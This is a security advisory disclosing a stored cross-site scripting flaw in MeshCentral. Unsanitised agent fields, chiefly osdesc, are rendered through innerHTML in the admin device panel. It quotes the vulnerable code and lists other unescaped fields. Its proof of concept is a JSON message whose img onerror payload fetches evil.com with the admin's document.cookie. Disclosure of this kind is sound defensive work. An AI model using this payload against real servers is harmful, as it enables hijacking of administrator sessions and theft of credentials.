GHSA-c7hr-448w-65px
### Description A rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the device details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted. ### Technical Details ```javascript // meshagent.js:1903 -- Agent input, only type check if (typeof command.osdesc == 'string') { device.osdesc = command.osdesc; change = 1; } // default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml() if (node.osdesc) { x += addDeviceAttribute("Operating System", node.osdesc); } // addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML // INCONSISTENCY: Same field IS escaped elsewhere: // Line 13529: addDetailItem("Version", EscapeHtml(node.osdesc), s) // Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '') ``` Additional unescaped agent fields: - node.name unescaped in sharing dialog (line 4695), user group list (line 18625), permission dialogs (lines 18675, 19413) -- HIGH - cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM - volumes[].name unescaped in file browser (line 12612) -- MEDIUM No server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline. ### Proof of Concept Rogue agent sends via WebSocket: ```json { "action": "coreinfo", "osdesc": "<img src=x onerror='fetch(\"https://evil.com/steal?\"+document.cookie)'>", "name": "Legit-PC" } ``` Payload fires when any admin views the device details panel. No click required. <img width="939" height="587" alt="image" src="https:/
